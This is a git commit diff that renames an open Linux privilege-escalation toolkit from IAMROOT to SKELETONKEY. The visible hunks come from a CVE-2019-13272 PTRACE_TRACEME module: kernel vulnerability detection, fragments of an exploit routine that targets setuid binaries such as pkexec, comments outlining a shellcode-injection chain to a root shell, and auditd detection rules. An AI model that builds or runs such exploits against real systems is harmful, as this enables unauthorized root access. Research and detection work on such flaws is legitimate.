rename: IAMROOT → SKELETONKEY across the entire project
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / release (push) Blocked by required conditions

Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.

Changes:
  - All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
    values, docs, comments)
  - All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
  - iamroot.c → skeletonkey.c
  - modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
  - tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
  - Binary "iamroot" → "skeletonkey"
  - GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
  - .gitignore now expects build output named "skeletonkey"
  - /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
  - Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*

New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.

VERSION: 0.3.1 → 0.4.0 (breaking).

Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
2026-05-16 22:43:49 -04:00
parent 9d88b475c1
commit 9593d90385
109 changed files with 1711 additions and 1701 deletions
@@ -15,7 +15,7 @@ Upstream fix: mainline 5.1.17 (commit `6994eefb0053`, June 2019).
Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17.
## IAMROOT role
## SKELETONKEY role
Full jannh-style chain: fork → child `PTRACE_TRACEME` → child
sleep+attach → parent `execve` setuid bin (pkexec/su/passwd
@@ -1,12 +0,0 @@
/*
* ptrace_traceme_cve_2019_13272 — IAMROOT module registry hook
*/
#ifndef PTRACE_TRACEME_IAMROOT_MODULES_H
#define PTRACE_TRACEME_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module ptrace_traceme_module;
#endif
@@ -1,5 +1,5 @@
/*
* ptrace_traceme_cve_2019_13272 IAMROOT module
* ptrace_traceme_cve_2019_13272 SKELETONKEY module
*
* PTRACE_TRACEME on a parent that subsequently execve's a setuid
* binary results in the kernel granting ptrace privileges over the
@@ -26,7 +26,7 @@
* vulnerable.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
@@ -61,12 +61,12 @@ static const struct kernel_range ptrace_traceme_range = {
sizeof(ptrace_traceme_patched_branches[0]),
};
static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
/* Bug existed since ptrace's inception (early 2.x); anything
@@ -77,7 +77,7 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
v.release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
@@ -85,14 +85,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
if (!ctx->json) {
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
"(no user_ns required)\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
/* ---- Exploit (jannh-style) --------------------------------------
@@ -118,14 +118,14 @@ static iamroot_result_t ptrace_traceme_detect(const struct iamroot_ctx *ctx)
* shellcode that exec's /bin/sh.
* 10. C resumes P root shell.
*
* IAMROOT implementation simplifies by using a small architecture-
* SKELETONKEY implementation simplifies by using a small architecture-
* specific shellcode (x86_64 only) and pkexec as the setuid binary
* trigger (works on most Linux systems with polkit installed). Falls
* back to /bin/su if pkexec isn't available.
*
* Reliability: this exploit can fail-race on heavily-loaded systems.
* Repeat invocations usually succeed; we don't loop here operator
* can retry. Returns IAMROOT_EXPLOIT_FAIL on miss, IAMROOT_EXPLOIT_OK
* can retry. Returns SKELETONKEY_EXPLOIT_FAIL on miss, SKELETONKEY_EXPLOIT_OK
* on root acquired (followed by execlp(sh) which never returns).
*/
@@ -170,28 +170,28 @@ static const char *find_setuid_target(void)
return NULL;
}
static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr, "[-] ptrace_traceme: exploit is x86_64-only "
"(shellcode is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
#else
iamroot_result_t pre = ptrace_traceme_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = ptrace_traceme_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] ptrace_traceme: already root\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
const char *setuid_bin = find_setuid_target();
if (!setuid_bin) {
fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n");
return IAMROOT_PRECOND_FAIL;
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin);
@@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
/* fork: child becomes tracee-of-self setup, parent execve's setuid bin */
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
/* CHILD: set up the ptrace_link, then pause until parent has
@@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx)
perror("execve setuid");
int status;
waitpid(child, &status, 0);
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
#endif
}
@@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] =
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
"# a setuid binary. False positives: gdb, strace, debuggers.\n"
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n";
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
const struct iamroot_module ptrace_traceme_module = {
const struct skeletonkey_module ptrace_traceme_module = {
.name = "ptrace_traceme",
.cve = "CVE-2019-13272",
.summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject",
@@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = {
.detect_falco = NULL,
};
void iamroot_register_ptrace_traceme(void)
void skeletonkey_register_ptrace_traceme(void)
{
iamroot_register(&ptrace_traceme_module);
skeletonkey_register(&ptrace_traceme_module);
}
@@ -0,0 +1,12 @@
/*
* ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook
*/
#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H
#define PTRACE_TRACEME_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module ptrace_traceme_module;
#endif